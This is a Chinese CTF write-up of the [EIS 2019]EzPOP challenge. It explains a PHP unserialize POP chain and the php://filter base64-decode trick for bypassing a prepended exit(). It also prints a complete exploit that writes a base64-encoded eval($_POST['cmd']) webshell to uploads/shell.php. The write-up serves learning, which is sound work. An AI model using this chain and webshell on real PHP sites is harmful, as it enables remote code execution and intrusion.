接着上一篇简单的pop题目,做一下[EIS 2019]EzPOP,
总的来看代码量确实是大了,相对应的一些琐碎的东西也多了,而且涉及到的知识也更多一些,
个人习惯是先找最后一环,再向上回溯,
这里首先应该看到如下的片段,这应该是本题目中唯一有可能利用的点,
这里是一个文件写操作,文件名$filename和内容$data理论上都是可控的,我们可以写一个shell,至于具体的思路,参见p牛的文章,
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
这里的$data的前半部分有exit(),所以即使我们将传过来的$data写入一句话,实际上是执行不了的,(p牛云,这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。个人的经历是去年暑假在看yxtcmf的题目时,其写入shell的核心点也是类似于这样的一行代码,所以看到本题的这行代码比较敏感,只不过yxtcmf的题目写入好像是比这个稍微容易一些(没有exit)。
关于本题的解题的理论是这样的,
1.
base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
所以,一个正常的base64_decode实际上可以理解为如下两个步骤:
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
使用 php://filter/write=convert.base64-decode 来首先对其解码的过程中,字符<、?、;、>、空格等字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
2.
类成员由属性和方法构成,类属性存在于数据段,类方法存在于代码段,对于一个类来说,类的方法不占用类的空间,占空间的只有类的属性。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。因此,序列化操作只是保存对象(不是类)的变量,不保存对象的方法,其实反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的。我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法。
回到本题,先想办法构造pop链,最后一环当然是上面提到的file_put_contents(),
先在file_put_contents()所在的set函数内向上看,确保这条路确实可用,
这个是虚假的压缩, 我们可以人为控制$this->options['data_compress'] = 0;
再向上,可以看到$data是$value经过$this->serialize()函数生成的,
我们跟进$this->serialize(),发现这也是虚假的Serialize,我们可以控制$this->options['serialize'] = 'strval',不会对$value产生实质性影响,
再向上,
其实也是虚假的,这里不再展开了,
set函数是class
B中唯一的关键函数,其余的都是些虚假的限制性的函数。而且经过分析,class
B的对象本身只涉及到$filename一个关键点($data是参数$value经变化得来的),到这里我们大体上可以确定了其值,按照上面提到的思路将其控制为如下的样子即可,
接下来追溯set()的传参的来源,我们手动查找调用set()的地方,发现在class A的save()函数内有调用,
而且只要class A的对象构造的正常,且$this->autosave设为0,则save()是一定可以被调用的(确保这条路可用),
回到save(),可以想象,这里的store必为一个class B的对象,接下来我们要做的就是向上追溯$this->key和$contents两个参数,确保他们是可控的,
先是$this->key,这个显然是完全可控,这里不再分析,主要是$contents,我们需要先追溯到$this->getForStorage()内,
继续跟进,
从这里我们可以看出,$this->cache应该要是一个数组,数组中要有一个值也为数组(不满足可能会变为空数组?没有实际尝试),$this->cache传进来之后要经过一次检查,个人感觉这里的检查好像没什么实际的作用,随便选一个符合的名字(比如path)作为$object的键,用编码后的一句话木马作为$object的值(这个有点讲究,后面会提到)就行了,接下来return
json_encode([$cleaned,
$this->complete])将这一结果传给save()中的$contents,进而作为$value传进set()。
直观上看,$this->complete的值对解题没有影响(后面会提到),所以到此我们基本可以确认class A的对象的值了,exp如下:class A {
protected $store;
protected $key = 'shell.php';
protected $expire = null;
public $autosave = 0;
public $cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr"));
public $complete = 1;
public function __construct($store) {
$this->store = $store;
}
}
class B {
public $options = array('data_compress'=>0, 'expire'=> 0,
'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",
'serialize'=>'strval');
}
$b = new B;
$a = new A($b);
但实际上,这个exp是我经过多次测试才得出的,这个题涉及到的深层次的内容(其实就是坑)到现在我们并没有讲,下面我逐个解释坑在哪(其实主要都是因为我对base64的原理理解不到位),
先贴一下动态运行到file_put_contents()处时各变量的情况,
1. payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)之前的片段,
有的同志可能注意到,我构造的$a->cache的键为111,而不是1或者11,原因如下:
我们的思路是,将经base64-decode过滤器过滤后的$data的值写入./uploads/shell.php中,我们想要的效果是payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)之前的部分被解码为乱码(至少不要影响payload的正常功能),payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)被正常解码为<?php
eval($_POST['cmd']);?>kkkkk,
比如这样,
这样的话我们就能正常使用这个一句话木马,
base64编码转换步骤
第一步,将待转换的字符串每三个字节分为一组,每个字节占8bit,那么共有24个二进制位。
第二步,将上面的24个二进制位每6个一组,共分为4组。
第三步,在每组前面添加两个0,每组由6个变为8个二进制位,总共32个二进制位,即四个字节。
第四步,根据Base64编码对照表(见下图)获得对应的值。
反过来,base64解码时,一定是4个有效字节(何为有效字节最开始已经解释了)为一组进行解码,
对于这里,我们要想保证payload被正常解码为一句话木马,就要保证它前面的片段中,有效字节的数目为4的倍数,所以我这里$cache的键是111,就是说,我补了3个1作为有效字节凑齐了4的倍数,
2. payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)
上面提到,我们的payload(PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr)被正常解码为<?php
eval($_POST['cmd']);?>kkkkk,可能有的同志有疑问,为什么不是<?php
eval($_POST['cmd']);,为什么不是<?php eval($_POST['cmd']);?>
先看两个php文件,
先是1.php,
运行之,
可以看到,s.php内成功写入了内容,前面的YWFh被解码为aaa,==后面的YWFh被舍弃,这里斗胆猜测,是因为这一段字符的前面按每四个字节一组正常解码,直到遇到了Pg==,而==是base64编码时由于末尾不足3个字节进行补足而添上的,因而base64_decode运行时检测到这里,就认为解码结束,后面的内容舍弃(这里我没有查看底层代码,如果有大佬知道原理望请告知),
再看2.php,
运行之,
文件是空的,就是并没有将内容写进去,
看php.net,
上面讲等同于使用base64_decode()函数处理 所有的 数据流,至于问题是不是出在“所有的”一词上,我确实没有搞清楚,希望有大佬可以指点,
针对出现的这个问题,为了节省点时间,我选择了避开,补了5个k来消除=(其实2个就够了...),
这就是为什么有的同志(包括我自己)一开始编写的exp无法生效的原因,
到此,还有一个小问题,
这是我要进行base64解码之后写入shell.php的字符串,刚才我们提到,payload前面的部分是28个字节,payload的长度也是4的倍数,那么最后剩下的唯一一个有效字节1去哪里了,我经测试后认为应该是被舍弃了,对解码不产生任何影响。
本地测试exp:
error_reporting(0);
class A {
protected $store;
protected $key = 'shell.php';
protected $expire = null;
public $autosave = 0;
public $cache = array(111=>array('path'=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pmtra2tr"));
public $complete = 1;
public function __construct($store) {
$this->store = $store;
}
}
class B {
public $options = array('data_compress'=>0, 'expire'=> 0,
'prefix'=>"php://filter/write=convert.base64-decode/resource=./uploads/",
'serialize'=>'strval');
}
$b = new B;
$a = new A($b);
echo urlencode(serialize($a));
echo "
";
$fi= file_get_contents('http://127.0.0.1/?data='.urlencode(serialize($a)));
$fs = file_get_contents('./uploads/shell.php');
echo $fs;
打buu的靶机,
成功